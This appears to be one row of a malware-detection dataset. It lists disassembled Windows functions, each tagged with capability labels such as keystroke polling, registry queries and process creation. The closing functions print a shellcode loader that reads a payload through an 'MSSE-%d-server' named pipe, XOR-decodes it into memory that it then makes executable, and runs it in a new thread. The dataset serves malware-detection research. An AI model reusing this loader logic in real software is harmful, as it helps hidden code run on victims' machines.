joyce8/EMBER2024-capa huggingface dataset:
Function at 0x453ff0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x38
mov eax, edx
mov rbp, r9
mov rdi, r8
sub eax, 0x100
mov r12d, edx
mov rsi, rcx
je 0x4540db
sub eax, 2
je 0x4540ad
cmp eax, 2
jne 0x4540c1
cmp r8, 0x70
jb 0x4540c1
cmp r8, 0x71
ja 0x4540c1
bt r9, 0x1d
jae 0x4540c1
lea ecx, [rax + 0x10]
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.COMCTL32.dll_InitCommonControls
mov bx, ax
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, InitCommonControls
mov r13w, ax
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetKeyState]
xor edx, edx
mov r11w, ax
shr r11d, 0xf
and r11b, 1
cmp bl, dl
je 0x4540c1
cmp r13b, dl
jne 0x4540c1
cmp r11b, dl
jne 0x4540c1
mov rax, qword [rsi + 0x10]
cmp rdi, 0x70
mov rcx, qword [rax + 0x58]
setne dl
mov rax, qword [rcx]
call qword [rax + VariantCopyInd]
jmp 0x454157
cmp r8, 9
je 0x454157
cmp r8, 0x1b
je 0x454157
mov rdx, qword [rsi]
mov rcx, qword [rsi + 8]
mov r9, rdi
mov r8d, r12d
mov qword [rsp + 0x20], rbp
call qword [sym.imp.USER32.dll_CallWindowProcW]
jmp 0x454159
cmp r8, 9
je 0x454146
cmp r8, 0x78
jne 0x4540c1
lea ecx, [r8 - 0x66]
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.COMCTL32.dll_InitCommonControls
mov bx, ax
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, InitCommonControls
mov r13w, ax
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetKeyState]
xor edx, edx
mov r11w, ax
shr r11d, 0xf
and r11b, 1
cmp bl, dl
jne 0x4540c1
cmp r13b, dl
jne 0x4540c1
cmp r11b, dl
jne 0x4540c1
lea rcx, [0x004bb790]
call fcn.0043e800
jmp 0x454157
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx + 0xa8]
call qword [sym.imp.USER32.dll_SetFocus]
xor eax, eax
add rsp, 0x38
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x45ed1c
Capabilities:
Create process on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0xd0
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rbp, r9
mov rsi, r8
mov r12, rcx
lea rcx, [rsp + 0x20]
call fcn.004023d8
nop
mov dx, 0x2e
lea rcx, [rsp + 0x20]
call fcn.004027f8
mov edi, eax
lea rcx, [rsp + 0x20]
call fcn.00402830
xor ebx, ebx
cmp edi, ebx
jl 0x45ed6b
cmp edi, eax
jge 0x45ed9a
mov edx, dword [rsp + 0x28]
cmp dword [rsp + 0x2c], edx
jne 0x45ed83
lea rcx, [rsp + 0x20]
call fcn.00402038
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov eax, edx
mov word [rcx + rax*2], 0x2e
inc edx
mov word [rcx + rdx*2], bx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x60], 0x70
mov dword [rsp + 0x64], 0x140
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.004023d8
nop
mov rdx, r12
lea rcx, [rsp + 0x40]
call fcn.004023d8
mov r11, qword [rsp + 0x30]
mov qword [rsp + 0x78], r11
mov qword [rsp + 0x80], rbx
mov eax, dword [rsp + 0x48]
neg eax
sbb rcx, rcx
and rcx, qword [rsp + 0x40]
mov qword [rsp + 0x88], rcx
mov dword [rsp + 0x90], 1
mov qword [rsp + 0xc8], rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edi, dword [rsp + 0x98]
mov rax, qword [rsp + 0xc8]
mov qword [rbp], rax
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_free
nop
mov rcx, qword [rsp + 0x30]
call sub.msvcrt.dll_free
cmp edi, 0x20
ja 0x45ee84
cmp edi, 0x1f
jne 0x45ee7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.00404b38
lea r9d, [rdi - 0xf]
lea r8, [0x00488ee0]
mov rdx, qword [rax]
mov rcx, rsi
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0x30]
call sub.msvcrt.dll_free
nop
mov ebx, 0x80004005
jmp 0x45ee84
mov rcx, qword [rsp + 0x20]
call sub.msvcrt.dll_free
mov eax, ebx
add rsp, 0xd0
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x469300
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.COMCTL32.dll_InitCommonControls
mov di, ax
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, InitCommonControls
mov bx, ax
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetKeyState]
mov r11w, ax
shr r11d, 0xf
and r11b, 1
jne 0x469362
xor edx, edx
cmp dil, dl
je 0x46936d
cmp bl, dl
jne 0x46936d
mov rcx, rsi
call fcn.0046b488
jmp 0x469377
xor dl, dl
cmp dil, dl
jne 0x46936d
cmp bl, dl
je 0x46936f
mov dl, 1
mov rcx, rsi
call fcn.004666a4
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret
Function at 0x475cfc
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov rax, rsp
sub rsp, 0x2f8
mov edx, ecx
lea r8, [rax + 0x10]
xor ecx, ecx
mov qword [rax + 0x10], 0
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov rcx, qword [rsp + 0x308]
test rcx, rcx
je 0x475d84
lea r8, [rsp + 0x30]
mov r9d, 0x2b8
mov edx, 0x80
mov dword [rsp + 0x20], 0x4008
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
lea rcx, [rsp + 0x310]
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
mov rcx, qword [rsp + 0x310]
test rcx, rcx
je 0x475d7e
mov rax, qword [rcx]
mov rdx, qword [rsp + 0x308]
call qword [rax + 0x28]
mov rcx, qword [rsp + 0x310]
mov rax, qword [rcx]
call qword [rax + InitCommonControls]
mov eax, dword [rsp + 0x38]
jmp 0x475d86
xor eax, eax
add rsp, 0x2f8
ret

Function at 0x475d90
Capabilities:
Get file system object information

Disassembly:
push rbx
sub rsp, 0x2f0
mov rbx, r8
lea r8, [rsp + 0x30]
bts edx, 7
mov r9d, 0x2b8
mov dword [rsp + 0x20], 0x4010
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov ecx, dword [rsp + 0x38]
mov dword [rbx], ecx
add rsp, 0x2f0
pop rbx
ret

Function at 0x47939c
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
mov r11w, ax
shr r11d, 0xf
test r11b, 1
jne 0x4793cf
cmp dword [rbx + 0x54], 1
ja 0x4793cf
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x40]
jmp 0x4793d7
mov rcx, rbx
call fcn.00479154
add rsp, 0x20
pop rbx
ret
Function at 0x479a70
Capabilities:
Get file system object information

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x378
mov qword [rsp + 0xa0], 0xfffffffffffffffe
mov rdi, r9
mov ebp, r8d
mov r12d, edx
mov rsi, rcx
lea rcx, [rsp + 0x50]
call fcn.0040229c
nop
cmp byte [rdi], 0
je 0x479af3
mov rdx, qword [rdi + 8]
lea rcx, [rsp + 0x80]
call fcn.0044b0bc
nop
mov r8, rax
mov edx, 0xdb0
lea rcx, [rsp + 0x70]
call fcn.0044b1ac
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.004024c8
nop
mov rcx, qword [rsp + 0x70]
call sub.msvcrt.dll_free
nop
mov rcx, qword [rsp + 0x80]
call sub.msvcrt.dll_free
lea rcx, [rdi + 0x18]
call fcn.00402830
lea ebx, [rax + 1]
mov r8d, ebx
lea rdx, [rsp + 0x40]
lea rcx, [rdi + 0x18]
call fcn.0040ec24
nop
mov rax, qword [rdi + 0x18]
lea rdx, [rax + rbx*2]
lea rcx, [rsp + 0x60]
call fcn.00402338
nop
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.00479998
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.00479998
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.004023d8
nop
lea rcx, [rsp + 0x30]
call fcn.00402658
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.004026f0
lea rcx, [rsp + 0x30]
call fcn.00402658
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.004026f0
lea rcx, [rsp + 0x30]
call fcn.00402658
cmp byte [rdi + 1], 0
je 0x479bd6
mov edx, 0x3f4
lea rcx, [rsp + 0x30]
call fcn.0044f9d8
lea rdx, [0x0048c4b8]
lea rcx, [rsp + 0x30]
call fcn.00402734
lea rcx, [rdi + 0x10]
xor r8d, r8d
lea rdx, [rsp + 0x80]
call fcn.00409fd4
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call fcn.00402734
mov edx, r12d
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_GetDlgItem]
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowTextW]
mov dword [rsp + 0x20], 0x110
mov r9d, 0x2b8
lea r8, [rsp + 0xb0]
mov edx, 0x80
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test rax, rax
je 0x479c41
mov edx, ebp
mov rcx, qword [rsi + 8]
call qword [sym.imp.USER32.dll_GetDlgItem]
xor r9d, r9d
mov r8, qword [rsp + 0xb0]
mov edx, 0x170
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
nop
mov rcx, qword [rsp + 0x30]
call sub.msvcrt.dll_free
nop
mov rcx, qword [rsp + 0x60]
call sub.msvcrt.dll_free
nop
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_free
nop
mov rcx, qword [rsp + 0x50]
call sub.msvcrt.dll_free
add rsp, 0x378
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x47df98
Capabilities:
Query environment variable

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x58
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov ebx, r8d
mov rdi, rdx
mov rsi, rcx
xor ebp, ebp
cmp dword [rdx + 8], ebp
jne 0x47dfc2
lea eax, [rbp - 1]
jmp 0x47e0a9
cmp ebx, 0xffffffff
cmove ebx, ebp
lea rcx, [rsp + 0x38]
call fcn.0040229c
nop
mov edx, 0x110
cmp dword [rsp + 0x44], edx
jae 0x47dfe8
lea rcx, [rsp + 0x38]
call fcn.00401fb0
mov r8d, 0x10e
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rcx, qword [rsp + 0x38]
mov word [rcx + 0x21c], bp
mov edx, ebp
cmp word [rcx], bp
je 0x47e01a
inc edx
add rcx, 2
cmp word [rcx], bp
jne 0x47e00f
mov dword [rsp + 0x40], edx
cmp eax, ebp
je 0x47e029
cmp eax, 0x10e
jb 0x47e036
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.004024c8
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x88]
xor r8d, r8d
mov edx, ebx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
cmp eax, 1
jne 0x47e09a
mov r8, qword [rsp + 0x88]
cmp r8, rbp
je 0x47e09a
lea edx, [rax - 2]
mov rcx, qword [rsi + 0x48]
call qword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.USER32.dll_DestroyIcon]
mov ebx, dword [rsi + 0x40]
lea ecx, [rbx + 1]
mov dword [rsi + 0x40], ecx
mov rcx, qword [rsp + 0x38]
call sub.msvcrt.dll_free
mov eax, ebx
jmp 0x47e0a9
mov rcx, qword [rsp + 0x38]
call sub.msvcrt.dll_free
mov eax, 0xffffffff
add rsp, 0x58
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x47e73c
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x60
mov rsi, rcx
mov ecx, reloc.COMCTL32.dll_InitCommonControls
mov rbx, rdx
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x12
mov di, ax
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetKeyState]
mov r11w, ax
shr r11d, 0xf
test r11b, 1
jne 0x47e7f6
movzx ecx, word [rbx + 0x18]
xor edx, edx
cmp dil, dl
je 0x47e7c6
cmp cx, 0x41
je 0x47e7cc
movzx eax, cx
cmp eax, 0x20
je 0x47e7ae
cmp eax, 0x6a
jle 0x47e7f6
cmp eax, 0x6d
jle 0x47e7ae
cmp eax, 0x6f
je 0x47e7ae
cmp eax, 0xbb
je 0x47e7ae
cmp eax, 0xbd
jne 0x47e7f6
cmp dil, dl
jne 0x47e7f6
cmp cx, 0x20
mov rcx, rsi
setne dl
call fcn.0047e674
mov al, 1
jmp 0x47e7f8
cmp cx, 0x6a
jne 0x47e789
mov ecx, 2
lea r9, [rsp + 0x20]
mov edx, 0x102b
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x2c], ecx
mov rcx, qword [rsi + 0x50]
mov r8, 0xffffffffffffffff
call qword [sym.imp.USER32.dll_SendMessageW]
jmp 0x47e7c2
xor al, al
add rsp, 0x60
pop rdi
pop rsi
pop rbx
ret

Function at 0x4858b0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x40]
mov r9, r8
mov rbx, rcx
mov r8, rdx
mov qword [rsp + 0x28], rax
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov qword [rbx], rax
je 0x4858eb
xor eax, eax
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
test eax, eax
cmovne ecx, eax
mov eax, ecx
add rsp, 0x30
pop rbx
ret
Function at 0x4859c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x198
mov rax, qword [0x004bb100]
mov qword [rsp + 0x150], rax
mov rax, qword [0x004bbdb0]
mov qword [r11 - 0x10], rbp
mov qword [r11 - 0x18], rsi
test rax, rax
mov qword [r11 - 0x20], rdi
mov qword [r11 - 0x28], r12
mov qword [r11 - 0x30], r13
mov rdi, r9
mov esi, r8d
mov r12, rdx
mov rbp, rcx
mov r13d, 1
jne 0x485ad6
cmp dword [0x004bbda8], eax
jne 0x485ad6
lea rax, [rsp + 0x38]
mov qword [r11 - 8], rbx
lea rdx, str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000000
mov qword [rsp + 0x20], rax
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x485aa9
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, [0x0048856a]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
test eax, eax
cmove ebx, r13d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x485aa9
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x004bbdb0], rax
jmp 0x485ab0
mov rax, qword [0x004bbdb0]
test rax, rax
mov rbx, qword [rsp + 0x190]
jne 0x485ad6
lea rcx, str.hhctrl.ocx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov qword [0x004bbdb0], rax
je 0x485afe
mov r10, qword [0x004bbda0]
test r10, r10
jne 0x485b09
lea edx, [r10 + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov r10, rax
mov qword [0x004bbda0], rax
jne 0x485b09
mov dword [0x004bbda8], r13d
xor eax, eax
jmp 0x485b18
mov r9, rdi
mov r8d, esi
mov rdx, r12
mov rcx, rbp
call r10
mov r13, qword [rsp + 0x168]
mov r12, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x178]
mov rsi, qword [rsp + 0x180]
mov rbp, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x150]
call fcn.00486880
add rsp, 0x198
ret
Function at 0x4863c0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0xc8
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
cmp word [0x00400000], 0x5a4d
je 0x4863fd
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
lea rdi, [0x00400000]
jmp 0x48648b
movsxd rax, dword [0x0040003c]
lea rdi, [0x00400000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x486421
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x48648b
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x486468
cmp ecx, 0x20b
je 0x486440
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x48648b
cmp dword [rax + 0x84], 0xe
ja 0x486454
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x48648b
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
jmp 0x48648b
cmp dword [rax + 0x74], 0xe
ja 0x486479
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x48648b
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
mov ecx, 2
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x004bc360], 0xffffffffffffffff
mov qword [0x004bc368], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x004bbde4]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x004bbde0]
mov dword [rcx], eax
call fcn.00486670
cmp dword [0x004bb0f0], 0
jne 0x4864e5
lea rcx, [fcn.00486670]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x004879e8]
lea rcx, [0x004879e0]
call sub.msvcrt.dll__initterm
mov r11d, dword [0x004bbddc]
mov dword [rsp + 0xd8], r11d
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x004bbdd8]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x3c]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x004879d8]
lea rcx, [0x00487930]
call sub.msvcrt.dll__initterm
mov r11, qword [sym.imp.msvcrt.dll__acmdln]
mov r8, qword [r11]
mov qword [rsp + 0x30], r8
cmp byte [r8], 0x22
jne 0x486586
nop
nop
inc r8
mov qword [rsp + 0x30], r8
movzx eax, byte [r8]
test al, al
je 0x486576
cmp al, 0x22
je 0x486576
jmp 0x486560
cmp byte [r8], 0x22
jne 0x486596
inc r8
mov qword [rsp + 0x30], r8
jmp 0x486596
cmp byte [r8], 0x20
jbe 0x486596
inc r8
mov qword [rsp + 0x30], r8
jmp 0x486586
movzx eax, byte [r8]
test al, al
je 0x4865ac
cmp al, 0x20
ja 0x4865ac
inc r8
mov qword [rsp + 0x30], r8
jmp 0x486596
test byte [rsp + 0x8c], 1
je 0x4865c1
movzx r9d, word [rsp + 0x90]
jmp 0x4865c7
mov r9d, 0xa
xor edx, edx
mov rcx, rdi
call fcn.0044a454
mov edi, eax
mov dword [rsp + 0x38], eax
test ebx, ebx
jne 0x4865e3
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x486607
mov eax, edi
jmp 0x486610
mov rbx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
add rsp, 0xc8
ret
Function at 0x486750
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rcx
lea rsi, [0x004bbe90]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [0x004bbf88]
lea rdx, [rsp + 0x70]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x4867d1
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov r11, qword [0x004bbf88]
jmp 0x4867ed
mov r11, qword [rsp + 0x68]
lea rax, [rsp + 0x68]
add rax, 8
mov qword [0x004bbf88], r11
mov qword [0x004bbf28], rax
mov rax, qword [0x004bb100]
mov qword [0x004bbe00], r11
mov qword [0x004bbf10], rdi
mov dword [0x004bbdf0], 0xc0000409
mov dword [0x004bbdf4], 1
mov qword [rsp + 0x50], rax
mov rax, qword [0x004bb0f8]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x00493aa0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret
cmp rcx, qword [0x004bb100]
jne 0x486899
rol rcx, 0x10
test cx, 0xffff
jne 0x486895
ret
ror rcx, 0x10
jmp 0x486750
Function at 0x1406a5e14
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp], rbx
push 0x3d0dd9bd
mov ebx, 0x578d173c
sal ebx, 0xb9
lea rcx, [0x14068c3c8]
lea rsp, [rsp + 8]
mov ebx, 0xfbfe0ac
movzx ebx, byte [rax + rbx*2 - 0x1f7fc158]
push 0xffffffffe59e903e
xor ebx, edx
and ebx, 0xff
xor qword [rsp], 0x57107d22
mov ebx, dword [rcx + rbx*4]
shr edx, 8
xor edx, ebx
inc rax
xor edx, 0x9897c691
push 0x378de22b
dec rdi
push 0x801c7b2
lea rsp, [rsp + 0x18]
jne 0x1406a5e31
pop rbx
Function at 0x401595
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd r12, edx
mov rdi, rcx
mov rbp, r8
xor ecx, ecx
mov r8d, 0x3000
mov rdx, r12
mov rsi, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x4015e0
mov rdx, rax
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x4015c7
mov rcx, rbx
call fcn.00401563
lea r9, [rsp + 0x3c]
mov rdx, r12
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x00401560]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401630
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00450980]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4016dc
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x4016dc
test ebx, ebx
jle 0x4016c6
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4016d1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4016dc
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x4016a3
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x401704
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00450980]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x40179c
test ebx, ebx
jle 0x401781
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401791
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x40179c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x40175e
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x4017f8
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x0044d4b0]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.00401704
test eax, eax
je 0x4017c8
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.00401595
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x00450980]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x004016e6]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x4017a6

Function at 0x401d50
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402ec0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402ec0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]